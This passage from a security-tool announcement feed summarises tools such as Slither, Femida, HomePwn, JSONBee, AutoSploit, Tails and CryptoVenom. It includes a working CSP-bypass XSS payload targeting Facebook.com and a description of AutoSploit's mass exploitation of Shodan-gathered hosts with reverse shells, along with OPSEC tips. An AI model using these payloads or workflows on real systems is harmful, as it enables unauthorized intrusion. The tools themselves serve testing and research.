-np, --no_low_priority
if flag is provided, will NOT run automactc with
highest niceness (lowest CPU priority). high niceness
is default
-b, --multiprocessing
if flag is provided, WILL multiprocess modules
[WARNING: Experimental!]

console logging verbosity:
-q, --quiet if flag is provided, will NOT output to console at all
-d, --debug enable debug logging to console

specific module arguments:
-K DIR_INCLUDE_DIRS [DIR_INCLUDE_DIRS ...], --dir_include_dirs DIR_INCLUDE_DIRS [DIR_INCLUDE_DIRS ...]
directory inclusion filter for dirlist module,
defaults to volume root, space separated list only
-E DIR_EXCLUDE_DIRS [DIR_EXCLUDE_DIRS ...], --dir_exclude_dirs DIR_EXCLUDE_DIRS [DIR_EXCLUDE_DIRS ...]
directory and file exclusion filter for dirlist
module. defaults are specified in README. space
separated list only. put 'no-defaults' as first item
to overwrite default exclusions and then provide your
own exclusions
-H DIR_HASH_ALG [DIR_HASH_ALG ...], --dir_hash_alg DIR_HASH_ALG [DIR_HASH_ALG ...]
either sha256 or md5 or both or none, at least one is
recommended, defaults to sha256. also applies to
autoruns module
-S DIR_HASH_SIZE_LIMIT, --dir_hash_size_limit DIR_HASH_SIZE_LIMIT
file size filter for which files to hash, in
megabytes, defaults to 10MB. also applies to autoruns
module
-R, --dir_recurse_bundles
will fully recurse app bundles if flag is provided.
this takes much more time and space
-NC, --dir_no_code_signatures
if flag is provided, will NOT check code signatures
for app and kext files. also applies to autoruns
module
-NM, --dir_no_multithreading
if flag is provided, will NOT multithread the dirlist
module


Slither v0.6.7 - Static Analyzer For Solidity

$
0
0

Slither is a Solidity static analysis framework written in Python 3. It runs a suite of vulnerability detectors, prints visual information about contract details, and provides an API to easily write custom analyses. Slither enables developers to find vulnerabilities, enhance their code comprehension, and quickly prototype custom analyses.

Features
  • Detects vulnerable Solidity code with low false positives
  • Identifies where the error condition occurs in the source code
  • Easily integrates into continuous integration and Truffle builds
  • Built-in 'printers' quickly report crucial contract information
  • Detector API to write custom analyses in Python
  • Ability to analyze contracts written with Solidity >= 0.4
  • Intermediate representation (SlithIR) enables simple, high-precision analyses
  • Correctly parses 99.9% of all public Solidity code
  • Average execution time of less than 1 second per contract

Usage
Run Slither on a Truffle/Embark/Dapp/Etherlime application:
slither .
Run Slither on a single file:
$ slither tests/uninitialized.sol 
For additional configuration, see the usage documentation.
Use solc-select if your contracts require older versions of solc.

Detectors
By default, all the detectors are run.
NumDetectorWhat it DetectsImpactConfidence
1rtloRight-To-Left-Override control character is usedHighHigh
2shadowing-stateState variables shadowingHighHigh
3suicidalFunctions allowing anyone to destruct the contractHighHigh
4uninitialized-stateUninitialized state variablesHighHigh
5uninitialized-storageUninitialized storage variablesHighHigh
6arbitrary-sendFunctions that send ether to arbitrary destinationsHighMedium
7controlled-delegatecallControlled delegatecall destinationHighMedium
8reentrancy-ethReentrancy vulnerabilities (theft of ethers)HighMedium
9erc20-interfaceIncorrect ERC20 interfacesMediumHigh
10erc721-interfaceIncorrect ERC721 interfacesMediumHigh
11incorrect-equalityDangerous strict equalitiesMediumHigh
12locked-etherContracts that lock etherMediumHigh
13shadowing-abstractState variables shadowing from abstract contractsMediumHigh
14constant-functionConstant functions changing the stateMediumMedium
15reentrancy-no-ethReentrancy vulnerabilities (no theft of ethers)MediumMedium
16tx-originDangerous usage of tx.originMediumMedium
17unchecked-lowlevelUnchecked low-level callsMediumMedium
18unchecked-sendUnchecked sendMediumMedium
19uninitialized-localUninitialized local variablesMediumMedium
20unused-returnUnused return valuesMediumMedium
21shadowing-builtinBuilt-in symbol shadowingLowHigh
22shadowing-localLocal variables shadowingLowHigh
23void-cstConstructor called not implementedLowHigh
24calls-loopMultiple calls in a loopLowMedium
25reentrancy-benignBenign reentrancy vulnerabilitiesLowMedium
26timestampDangerous usage of block.timestampLowMedium
27assemblyAssembly usageInformationalHigh
28deprecated-standardsDeprecated Solidity StandardsInformationalHigh
29erc20-indexedUn-indexed ERC20 event parametersInformationalHigh
30low-level-callsLow level callsInformationalHigh
31naming-conventionConformance to Solidity naming conventionsInformationalHigh
32pragmaIf different pragma directives are usedInformationalHigh
33solc-versionIncorrect Solidity version (< 0.4.24 or complex pragma)InformationalHigh
34unused-stateUnused state variablesInformationalHigh
35too-many-digitsConformance to numeric notation best practicesInformationalMedium
36constable-statesState variables that could be declared constantOptimizationHigh
37external-functionPublic function that could be declared as externalOptimizationHigh
Contact us to get access to additional detectors.

Printers
To run a printer, use --print and a comma-separated list of printers.
NumPrinterDescription
1call-graphExport the call-graph of the contracts to a dot file
2cfgExport the CFG of each functions
3constructor-callsPrint the constructors executed
4contract-summaryPrint a summary of the contracts
5data-dependencyPrint the data dependencies of the variables
6echidnaExport Echidna guiding information
7function-idPrint the keccack256 signature of the functions
8function-summaryPrint a summary of the functions
9human-summaryPrint a human-readable summary of the contracts
10inheritancePrint the inheritance relations between contracts
11inheritance-graphExport the inheritance graph of each contract to a dot file
12modifiersPrint the modifiers called by each function
13requirePrint the require and assert calls of each function
14slithirPrint the slithIR representation of the functions
15slithir-ssaPrint the slithIR representation of the functions
16variable-orderPrint the storage order of the state variables
17vars-and-authPrint the state variables written and the authorization of the functions

How to install
Slither requires Python 3.6+ and solc, the Solidity compiler.

Using Pip
$ pip install slither-analyzer

Using Git
$ git clone https://github.com/crytic/slither.git && cd slither
$ python setup.py install
We recommend using an Python virtual environment, as detailed in the Developer Installation Instructions, if you prefer to install Slither via git.

Using Docker
Use the eth-security-toolbox docker image. It includes all of our security tools and every major version of Solidity in a single image. /home/share will be mounted to /share in the container. Use solc-select to switch the Solidity version.
docker pull trailofbits/eth-security-toolbox
To share a directory in the container:
docker run -it -v /home/share:/share trailofbits/eth-security-toolbox

Getting Help
Feel free to stop by our Slack channel (#ethereum) for help using or extending Slither.


Femida - Automated Blind-Xss Search For Burp Suite

$
0
0
An automated blind-xss search plugin for Burp Suite.

Installation
Git clone https://github.com/wish-i-was/femida.git Burp -> Extender -> Add -> find and select blind-xss.py

How to use

Settings
First of all you need to setup your callback URL in field called "Your url" and press Enter to automatically save it inside config.py file.


After you set it up you need to fill Payloads table with your OOB-XSS vectors, so extension will be able to inject your payloads into outgoing requests. Pay attantion that you need to set {URL} alias inside your payload, so the extension will be able to get data from "Your url" field and set it directly to your payload.


Behaviours
Femida is Random Driven Extension, so every payload with "1" inside row "Active" will be randomly used during your active or passive scanning. So if you want exclude any payload or parameter/header from testing just change the "Active" value to 0.

Payloads
  • Add your payloads to the table using Upload or Add button.
  • DO NOT FORGET about {URL} parameter in your payloads.
  • When you add any data into tables, Active row will be manualy equal 1. (mean it's active now)
  • If you want to make it inactive - set Active row to 0

Headers & Parameters
  • You can add data manualy using Add button or in Target/Proxy/Repeater with right-click.
  • Do not forget, taht headers and parameters are case insensitive.
  • If you want to make it inactive - set Active row to 0.

Usage
Extension is able to perform both active and passive checks.
After all is setup you can start using extension. First case is passive checks, so we will cover this process now:
  1. Press button "Run proxy", while it's active extension is looking for configured parameters and headers. After successful find it's put payload into it. If you are find some troubles during your testing (WAF or Errors or etc.) you can turn on button "Parallel Request" so all requests with a payload will be sent in a background as a duplicate requests with payloads, but your main session will be clear so you will be able to check that everything is correct just by monitoring debug log.


HomePwn - Swiss Army Knife for Pentesting of IoT Devices

$
0
0

HomePwn is a framework that provides features to audit and pentesting devices that company employees can use in their day-to-day work and inside the same working environment. It is designed to find devices in the home or office, take advantage of certain vulnerabilities to read or send data to those devices. With a strong library of modules you can use this tool to load new features and use them in a vast variety of devices.
HomePwn has a modular architecture in which any user can expand the knowledge base about different technologies. Principally it has two different components:
  • Discovery modules. These modules provide functionalities related to the discovery stage, regardless of the technology to be used. For example, it can be used to conduct WiFi scans via an adapter in monitor mode, perform discovery of BLE devices, Bluetooth Low-Energy, which other devices are nearby and view their connectivity status, etc. Also, It can be used to discover a home or office IoT services using protocols such as SSDP or Simple Service Discovery Protocol and MDNS or Multicast DNS.
  • Specific modules for the technology to be audited. On the other hand, there are specific modules for audited technology. Today, HomePwn can perform auditing tests on technologies such as WiFi, NFC, or BLE. In other words, there are modules for each of these technologies in which different known vulnerabilities or different techniques are implemented to asses the device's security level implemented and communicated with this kind of technologies.

Built With

Documentation
It's possible to read the documentation in our papers:

Getting Started
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites:
You need to have Linux and python 3.6+ running in your computer, please install them in the download page.

Installing all requisites:
To install all dependencies in Ubuntu 18.04 or derivatives use the file install.sh
> sudo apt-get update
> sudo ./install.sh
The script ask you if you want to create a virtualenv, if your answer is 'y' then it installs python libraries within the virtual environment, if not in the system itself

Usage
To run the script, if you chose a virtual environment in the installation follow execute the next command to activate the virtual environment:
> source homePwn/bin/activate
Launch the application:
> sudo python3 homePwn.py

Examples
Here are some videos to see how the tool works.

HomePwn. Bluetooth Low-Energy PoC & Hacking


HomePwn. Bluetooth Spoofing


HomePwn. NFC Clone


HomePwn. BLE capture on PCAP file (sniffing)


HomePwn. QR Options hack


HomePwn. Apple BLE Discovery


HomePwn. Xiaomi IoT Advertisement


Authors
This project has been developed by the team of 'Ideas Locas' (CDO - Telefónica). To contact the authors:
See also the list of CONTRIBUTORS.md who participated in this project.

Disclaimer!
THE SOFTWARE (for educational purpose only) IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
This software doesn't have a QA Process.


Arjun v1.6 - HTTP Parameter Discovery Suite

$
0
0

Introduction
Web applications use parameters (or queries) to accept user input, take the following example into consideration
http://api.example.com/v1/userinfo?id=751634589
This URL seems to load user information for a specific user id, but what if there exists a parameter named admin which when set to True makes the endpoint provide more information about the user?
This is what Arjun does, it finds valid HTTP parameters with a huge default dictionary of 25,980 parameter names.
The best part? It takes less than 30 seconds to go through this huge list while making just 50-60 requests to the target.
Want to know how Arjun does that? Here's how.

Features
  • Multi-threading
  • Thorough detection
  • Automatic rate limit handling
  • A typical scan takes 30 seconds
  • GET/POST/JSON methods supported
  • Huge list of 25,980 parameter names
Note: Arjun doesn't work with python < 3.4

How to use Arjun?
A detailed usage guide is available on Usage section of the Wiki.\
An index of options is given below:

Credits
The parameter names are taken from @SecLists.


JSONBee - A Ready To Use JSONP Endpoints/Payloads To Help Bypass Content Security Policy Of Different Websites

$
0
0

A ready to use JSONP endpoints to help bypass content security policy of different websites.
The tool was presented during HackIT 2018 in Kiev. The presentation can be found here (not sure why format of the slides is screwed :D): https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy

What is JSONBee?
The main idea behind this tool is to find the JSONP endpoint(s) that would help you bypass content security policy for your target website in an automated way. JSONBee takes an input of a url name (i.e. https://www.facebook.com), parses the CSP (Content-Security-Policy), and automatically suggest the XSSpayload that would bypass the CSP. It mainly focuses on JSONP endpoints gathered during my bug bounty hunting activities, and could be used to bypass the CSP.
JSONBee relies on 3 methods to gather the JSONP endpoints:
  • The repository within this project;
  • Google dorks;
  • Internet archive (archive.org).
The tool is not yet fully completed as I'm still adding some validations and features too. However, the repository will be hosted here so that anyone can use it till the tool is ready.
The repo contains ready-to-use payloads that can bypass CSP for Facebook.com, Google.com and more.
Bypasing Facebook.com Content-Security policy:
Facebook.com allows *.google.com in its CSP policy (script-src directive), thus, below payload would work like a charm to execute JavaScript on Facebook.com: "><script+src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>
If you came across a website that trusts any of the domains in jsonp.txt file in its script-src directive, then pickup a payload that matches the domain and have fun :)

How can you help?
You are all welcome to contribute by adding links to sites that uses JSONP endpoins/callbacks to make the repo bigger and more usefull for bug hunters, pentesters, and security researchers.



ATTACKdatamap - A Datasource Assessment On An Event Level To Show Potential Coverage Or The MITRE ATT&CK Framework

$
0
0

A datasource assessment on an event level to show potential coverage of the "MITRE ATT&CK" framework.
This tool is developed by me and has no affiliation with "MITRE" nor with its great "ATT&CK" team, it is developed with the intention to ease the mapping of data sources to assess one's potential coverate.
More details in a blogpost here

Start
This tool requires module ImportExcel, Install it like this PS C:\> Install-Module ImportExcel
Import the module with Import-Module .\ATTACKdatamap.psd1

Request-ATTACKjson
Generates a JSON file to be imported into the ATT&CK Navigator. The mitre_data_assessment.xlsx file contains all Techniques, which can be updated via Invoke-ATTACK-UpdateExcel.
Each technique contains DataSources, which are individually scored by me with a weight. The DataSourceEventTypes need to be scored per environment.
This script multiplies the respective DataSource scores and adds them to a total technique score. The generation date is added to the description.
EXAMPLE
PS C:\> Request-ATTACKjson -Excelfile .\mitre_data_assessment.xlsx -Template .\template.json -Output 2019-03-23-ATTACKcoverage.json
This is all gathered into a JSON file which can be opened here; MITRE ATT&CK Navigator/enterprise/

Invoke-ATTACK-UpdateExcel
This generates all MITRE ATT&CK relevant fields into a table and creates or updates the REF-DataSources worksheet in an Excel sheet
EXAMPLE
PS C:\> Invoke-ATTACK-UpdateExcel -AttackPath .\enterprise-attack.json -Excelfile .\mitre_data_assessment.xlsx
The -AttackPath and -Excelfile parameters are optional

Get-ATTACKdata
This downloads the MITRE ATT&CK Enterprise JSON file
EXAMPLE
PS C:\> Get-ATTACKdata -AttackPath ./enterprise-attack.json
The -AttackPath parameter is optional


Tails 4.0 - Live System to Preserve Your Privacy and Anonymity

$
0
0

Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship almost anywhere you go and on any computer but leaving no trace unless you ask it to explicitly.

It is a complete operating system designed to be used from a DVD, USB stick, or SD card independently of the computer's original operating system.

Changes


  •  Replace KeePassX with KeePassXC, which is more actively developed.



  •  Update OnionShare from 0.9.2 to 1.3.2, which includes a lot of usability improvements.




  • Update Tor Browser to 9.0:
    • A gray border, called letter boxing, is now displayed around the content of web pages when you resize the window of Tor Browser.


        Letter boxing prevents websites from identifying your browser based on the size of its window. Letter boxing replaces the yellow warning that was displayed until now when maximizing Tor Browser.

    •  The onion icon has been removed from the top bar.

To switch to a new identity, choose  ▸ New Identity.


  •     Update MAT from 0.6.1 to 0.8.0

    MAT has no graphical interface of its own anymore.
    To clean the metadata of a file:


  1.  Open the Files browser and navigate to the file that you want to clean.
  2.   Right-click (on Mac, click with two fingers) on the file.
  3.   Choose Remove metadata.



  • Update Linux to 5.3.2. This should also improve the support for newer hardware (graphics, Wi-Fi, etc.).
  • Update Electrum from 3.2.3 to 3.3.8. Electrum works again in Tails.
  • Update Enigmail to 2.0.12 and gnupg to 2.2.12, which mitigate OpenPGP certificate flooding.
  • Upgrade most other software, for example:
    • Audacity from 2.1.2 to 2.2.2
    • GIMP from 2.8.18 to 2.10.8
    • Inkscape from 0.92.1 to 0.92.4
    • LibreOffice from 5.2.7 to 6.1.5
    • git from 2.11.0 to 2.20.1
    • Tor to 0.4.1.6
  • Remove Scribus.
    You can install Scribus again using the Additional Software feature.

Performance and usability improvements

  • Tails 4.0 starts 20% faster.
  • Tails 4.0 requires about 250 MB less of RAM.
  • Tails 4.0 is 47 MB smaller to download than Tails 3.16, despite all these changes.
  • Add support for Thunderbolt devices.
  • The screen keyboard is easier to use.
  • Make it possible to show the password of the persistent storage when creating one.
  • Add support for USB tethering from iPhone.


New documentation pages



Get Tails 4.0
To upgrade your Tails USB stick and keep your persistent storage
Automatic upgrades are not available to 4.0.
All users must do a manual upgrade.

To install Tails on a new USB stick
Follow our installation instructions:



AutoSploit v4.0 - Automated Mass Exploiter

$
0
0

As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started

Operational Security Consideration:
Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available.
The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent.

Installation
Installing AutoSploit is very simple, you can find the latest stable release here. You can also download the master branch as a zip or tarball or follow one of the below methods;

Docker Compose
Using Docker Compose is by far the easiest way to get AutoSploit up and running without too much of a hassle.
git clone https://github.com/NullArray/AutoSploit.git
cd Autosploit/Docker
docker-compose run --rm autosploit

Docker
Just using Docker.
git clone https://github.com/NullArray/AutoSploit.git
cd Autosploit/Docker
# If you wish to edit default postgres service details, edit database.yml. Should work out of the box
# nano database.yml
docker network create -d bridge haknet
docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres
docker build -t autosploit .
docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit
Dev team contributor Khast3x recently improved Docker operations as well as add more details to the README.md in the Docker subdirectory. For more information on deploying AutoSploit with Docker please be sure to click here

Cloning
On any Linux system the following should work;
git clone https://github.com/NullArray/AutoSploit
cd AutoSploit
chmod +x install.sh
./install.sh
AutoSploit is compatible with macOS, however, you have to be inside a virtual environment for it to run successfully. In order to accomplish this employ/perform the below operations via the terminal or in the form of a shell script.
sudo -s << '_EOF'
pip2 install virtualenv --user
git clone https://github.com/NullArray/AutoSploit.git
virtualenv <PATH-TO-YOUR-ENV>
source <PATH-TO-YOUR-ENV>/bin/activate
cd <PATH-TO-AUTOSPLOIT>
pip2 install -r requirements.txt
chmod +x install.sh
./install.sh
python autosploit.py
_EOF

Usage
Starting the program with python autosploit.py will open an AutoSploit terminal session. The options for which are as follows.
1. Usage And Legal
2. Gather Hosts
3. Custom Hosts
4. Add Single Host
5. View Gathered Hosts
6. Exploit Gathered Hosts
99. Quit
Choosing option 2 will prompt you for a platform specific search query. Enter IIS or Apache in example and choose a search engine. After doing so the collected hosts will be saved to be used in the Exploit component.
As of version 2.0 AutoSploit can be started with a number of command line arguments/flags as well. Type python autosploit.py -h to display all the options available to you. I've posted the options below as well for reference.
usage: python autosploit.py -[c|z|s|a] -[q] QUERY
[-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH
[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH
[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT

optional arguments:
-h, --help show this help message and exit

search engines:
possible search engines to use

-c, --censys use censys.io as the search engine to gather hosts
-z, --zoomeye use zoomeye.org as the search engine to gather hosts
-s, --shodan use shodan.io as the search engine to gather hosts
-a, --all search all available search engines to gather hosts

requests:
arguments to edit your requests

--proxy PROTO://IP:PORT
run behind a proxy while performing the searches
--random-agent use a rando m HTTP User-Agent header
-P USER-AGENT, --personal-agent USER-AGENT
pass a personal User-Agent to use for HTTP requests
-q QUERY, --query QUERY
pass your search query

exploits:
arguments to edit your exploits

-E PATH, --exploit-file PATH
provide a text file to convert into JSON and save for
later use
-C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT
set the configuration for MSF (IE -C default 127.0.0.1
8080)
-e, --exploit start exploiting the already gathered hosts

misc arguments:
arguments that don't fit anywhere else

--ruby-exec if you need to run the Ruby executable with MSF use
this
--msf-path MSF-PATH pass the path to your framework if it is not in your
ENV PATH
--whitelist PATH only exploit hosts listed in the whitelist file

Dependencies
Note: All dependencies should be installed using the above installation method, however, if you find they are not:
AutoSploit depends on the following Python2.7 modules.
requests
psutil
Should you find you do not have these installed get them with pip like so.
pip install requests psutil
or
pip install -r requirements.txt
Since the program invokes functionality from the Metasploit Framework you need to have this installed also. Get it from Rapid7 by clicking here.

Acknowledgements
Special thanks to Ekultek without whoms contributions to the project, the new version would have been a lot less spectacular.
Thanks to Khast3x for setting up Docker support.
Last but certainly not least. Thanks to all who have submitted Pull Requests, bug reports, useful and productive contributions in general.

Active Development
If you would like to contribute to the development of this project please be sure to read CONTRIBUTING.md as it contains our contribution guidelines.
Please, also, be sure to read our contribution standards before sending pull requests
If you need some help understanding the code, or want to chat with some other AutoSploit community members, feel free to join our Discord server.

Note
If you happen to encounter a bug please feel free to Open a Ticket.
Thanks in advance.

Translations


Tor Browser v9.0 - Everything you Need to Safely Browse the Internet

$
0
0

Tor Browser 9.0 is the first stable release based on Firefox 68 ESR and contains a number of updates to other components as well (including Tor to 0.4.1.6 and OpenSSL to 1.1.1d for desktop versions and Tor to 0.4.1.5 for Android).
In addition to all the needed patch rebasing and toolchain updates, we made big improvements to make Tor Browser work better for you.
We want everyone in the world to be able to enjoy the privacy and freedom online Tor provides, and that's why over the past couple years, we've been working hard to boost our UX and localization efforts, with the biggest gains first visible in Tor Browser 8.0.

In Tor Browser 9.0, we continue to build upon those efforts with sleeker integration and additional localization support.

Goodbye, Onion Button

We want your experience using Tor to be fully integrated within the browser so how you use Tor is more intuitive. That's why now, rather than using the onion button that was in the toolbar, you can see your path through the Tor network and request a New Circuit through the Tor network in [i] on the URL bar.

Hello, New Identity Button


Instead of going into the onion button to request a New Identity, we've made this important feature easier to access by giving it its own button in the toolbar.

You can also request a New Identity, and a New Circuit, from within the [=] menu on the toolbar.

More info here.

Cryptovenom - The Cryptography Swiss Army Knife

$
0
0

CryptoVenom: The Cryptography Swiss Army knife

What is CryptoVenom?
CryptoVenom is an OpenSource tool which contains a lot of cryptosystems and cryptoanalysis methods all in one, including classical algorithms, hash algorithms, encoding algorithms, logic gates, mathematical functions, modern symmetric and asymmetric encryptions etc.

What is the Purpose of CryptoVenom?
Make easier the cryptoanalysis or the usage of cryptosystems and manipulation of them.
If you are a CTF Player or just a curious student with just learning purposes this is your tool!

Errors? Updates?
As this is a very big tool, and I created it alone there might be some errors in it, if you get an error, or some functionality of the tool is not working for you please contact as soon as possible with me though telegram (@LockedByte), email (alejandro.guerrero.rodriguez2@gmail.com) or just open it in gitHub. I'll patch all these errors quickly.

Dependencies? Setup? Installing?
CryptoVenom is JUST working for linux, I tested it just in kali and in Parrot OS, if you are in another dist and you have problems let me know. Installing is a very simple process, just execute as root the setup.py file and dependencies will be installed.

Content
[+] Classical
  [*] Caesar
[*] Vigenere Cipher
[*] Playfair Cipher
[*] Polybius Square
[*] Morse
[*] Atbash
[*] Baconian
[*] AutoKey
[*] Beaufort Cipher
[*] Railfence Cipher
[*] Simple Substitution Cipher
[*] Columnar Tramposition
[*] Bifid
[*] Foursquare Cipher
[*] Fractionated Morse
[*] Enigma
[*] Gronsfeld Cipher
[*] Porta
[*] RunningKey
[*] ADFGVX Cipher
[*] ADFGX Cipher
[*] Affine Cipher
[*] Vernam Cipher
[+] Asymmetric
  [*] RSA
[*] Diffie-Hellman
[*] DSA
[*] ECC (Elliptic Curve Cryptography)
[+] Symmetric
  [*] AES / Rijndael (Advanced Encryption Algorithm)
[*] DES (Data Encryption Standard)
[*] XOR Cipher
[*] Blowfish
[*] Twofish
[*] 3DES / TDES (Triple DES)
[*] RC2 (Ron's Code 2)
[*] RC4 (Ron's Code 4)
[*] CAST
[*] SCrypt
[+] Encoding
  [*] Base16
[*] Base32
[*] Base64
[*] Base58
[*] Base85
[*] Base91
[*] Hexadecimal
[*] Octal
[*] Decimal
[*] Binary
[*] ROT-x
[*] URL Encode/Decode
[+] Hash
  [*] MD5
[*] SHA-1
[*] SHA-224
[*] SHA-256
[*] SHA-384
[*] SHA-512
[*] MD2
[*] MD4
[*] Argon2
[*] BCrypt
[*] BigCrypt Unix
[*] Blake2b
[*] Blake2s
[*] BSDi Crypt Unix
[*] Cisco ASA Hash
[*] Cisco PIX Hash
[*] Cisco Type 7
[*] Crypt-16 Unix
[*] DES Crypt Unix
[*] FreeBSD Unix
[*] HMAC
[*] LDAP-MD5
[*] LDAP Salted MD5
[*] LDAP SHA-1
[*] LDAP Salted SHA-1
[*] LMHash
[*] MD5 Unix
[*] MSDCC Hash
[*] MSDCC 2 Hash
[*] MSSQL 2000 Hash
[*] MSSQL 2005 Hash
[*] MySQL 41 Hash
[*] MySQL 323 Hash
[*] NTHash
[*] NTLM Hash
[*] Oracle 10 Hash
[*] Oracle 11 Hash
[*] PHPass Hash
[*] PostgreSQL MD5
[*] RIPEMD
[*] SCrypt
[*] SHA-256 Unix
[*] SHA-512 Unix
[*] Sun MD5 Unix
[+] String Manipulation
  [*] Reverse String
[*] Block Reverse String
[*] String To Upper
[*] String To Lower
[*] One-Byte List
[*] Reverse Case
[*] Remove Spaces
[*] Remove Enters
[*] String Replacement
[*] Add Line Numbers
[+] Mathematical Functions
  [*] Fast Exponentiation Algorithm
[*] Extended Euclidean Algorithm
[*] Fatorize Product of two primes
[+] Other
  [*] XOR
[*] AND
[*] NAND
[*] NOT
[*] OR
[*] NOR
[*] XNOR
[*] PGP Operations
I'll add more ciphers, cracking systems and functionalities!

Planning-to-add features
  • File Hashing
  • Finish Crackssistant
  • PGP Operations
  • Algorithm Identifiers
  • Elliptic Curve Cryptography (ECC)
  • ElGamal
  • Bruteforcers & crackers against Symmetric algorithms
  • More crackers & bruteforcers against Classical Algorithms
  • Calculate file entrophy
  • Key Exchanges with TCP Sockets
  • More error handling and "try/excepts"
  • More customizable options
  • Add HMAC-(hash) for each hash algorithm
  • Please: If you want anything to be added to the tool contact me and I'll add it to the next version!

About
Created By Alejandro Guerrero Rodriguez (LockedByte)
Twitter: @LockedByte Telegram: @LockedByte Email: alejandro.guerrero.rodriguez2@gmail.com


Viewing all 5848 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>